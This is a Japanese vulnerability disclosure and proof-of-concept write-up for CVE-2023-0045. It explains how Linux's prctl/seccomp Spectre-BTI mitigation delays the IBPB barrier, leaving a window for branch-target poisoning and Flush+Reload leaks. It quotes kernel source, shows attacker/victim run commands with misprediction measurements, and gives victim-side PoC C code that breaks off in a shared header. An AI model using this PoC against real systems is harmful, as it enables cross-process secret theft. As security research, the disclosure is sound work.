
CVE-2023-0045のPoCと解説。BTBポイズニングとFlush+Reloadを使用してLinuxのprctl/seccomp Spectre-BTI緩和策をバイパスし、プロセスの秘密を漏洩させます。
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Spectre-BTI攻撃の成功率をテストしていたところ、カーネルAPIを緩和策として使用した際に奇妙なパターンを検出しました[^1]。私たちのテストでは、Linuxカーネルが攻撃を正しく緩和できず、システムコール後も短い期間プロセスが露出したままになることが明らかになりました。
さらに調査を進めると、カーネルはシステムコール中に直ちにIBPBを発行していないことが判明しました。ib_prctl_set[^2]関数はタスクのスレッド情報フラグ(TIF)を更新し、__speculation_ctrl_update[^3]関数でSPEC_CTRL MSRを更新しますが、IBPBは次回のスケジュール時(TIFビットがチェックされたとき)にのみ発行されます。これにより、prctlシステムコールの前にすでにBTBに注入された値に対して、被害者が脆弱なままになります。この動作は、タスクの再スケジュールが発生した後にのみ修正されます。さらに、カーネルへのエントリ(システムコール自体による)は、デフォルトのシナリオ(カーネルがretpolineやeIBRSで自身を保護している場合)ではIBPBを発行しません。
prctlを使用してSpectre-BTI攻撃を緩和する:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
これにより、カーネル5.15ではib_prctl_set[^2]関数が呼び出されます。SPEC_DISABLEオプションが使用されると、task_set_spec_ib_disableのTIFビットが設定され、task_update_spec_tifが呼び出されます:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disableはset_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);を呼び出し、対象タスクが現在のタスクであればspeculation_ctrl_update_current();を呼び出します:
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_currentはspeculation_ctrl_updateラッパーを経由して、tifp = ~tifpで__speculation_ctrl_updateを実行します。ここでSTIBP設定用のwrmsr更新が実行されますが、IBPBは発行されません:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
seccompシステムコールもarch_seccomp_spec_mitigate[^4]内でib_prctl_set[^2]を緩和策として使用するため、seccompでも同じ結果が期待されます。
コード解析により、悪用可能なウィンドウが存在することは確かでしたが、そのウィンドウが被害者が秘密をロードし、攻撃者がそれを漏洩させるのに十分な大きさかどうかは不明でした(秘密はprctl呼び出しが発行されるまで被害者のアドレス空間に存在しないことが期待されるため)。テストは、ハードウェア緩和策をサポートするベアメタルマシン上で、Ubuntu 22.04.1 LTSをインストールして実行しました:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
テストコードは、同じ論理コア上で実行される2つのプロセスで構成されています。攻撃者は、被害者プロセスに存在するSpectreガジェットのアドレスでBTBを継続的にポイズニングします。被害者プロセスは、テスト変数がSpectreガジェット関数によってアクセスされたかどうかを確認することで、誤予測率を測定します。通常、以下の出力が得られます:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
その後、PRCTLを使用して攻撃を緩和します。緩和策は、プログラムの先頭にprctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);を追加することで有効にできます。これによりSpectre-BTI攻撃が緩和されることが期待されます:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
しかし、テストの一部では異なる結果が示されました:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
また、'nice'(優先度)を変更すると誤予測率に影響を与えるようです:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
これは、コード解析で理解されたように、prctlは次のスケジュール後にのみプロセスを保護したことを示しています。このテストのもう一つの奇妙な動作は、誤った分岐の後、投機パスが修正され、真の値がBTBに書き込まれるべきであるということです。兄弟スレッドに他の攻撃者がいないため、BTBを再ポイズニングする者がいないにもかかわらず、このような高い誤予測値は予想外です。
これが測定誤差ではないことを確認するために、簡単なPOCを作成しました。被害者コードは常に、Spectre-BTI攻撃に対して脆弱な関数ポインタを介してsafe_functionを実行します。被害者はprctlシステムコール(protect_me内)を使用してカーネルに保護を要求します。被害者はまた、テキストファイルから秘密をロードし、他のシステムコールもTIFビットをチェックしないか、IBPBを強制するような再スケジュールを引き起こさないことを示します。
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
ほとんどのlibc関数は攻撃者と被害者の間で共通のヘッダーに配置されているため、spectre_gadget関数とspec関数は被害者と攻撃者の両方で同じメモリアドレスを共有します(そうしないと.GOTエントリが作成され、アドレスが変更されます)。これは必須条件ではなく、ブランチを同じアドレスに配置し、被害者のコンテキストを模倣する他の方法もありますが、この方法がより簡単です。
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];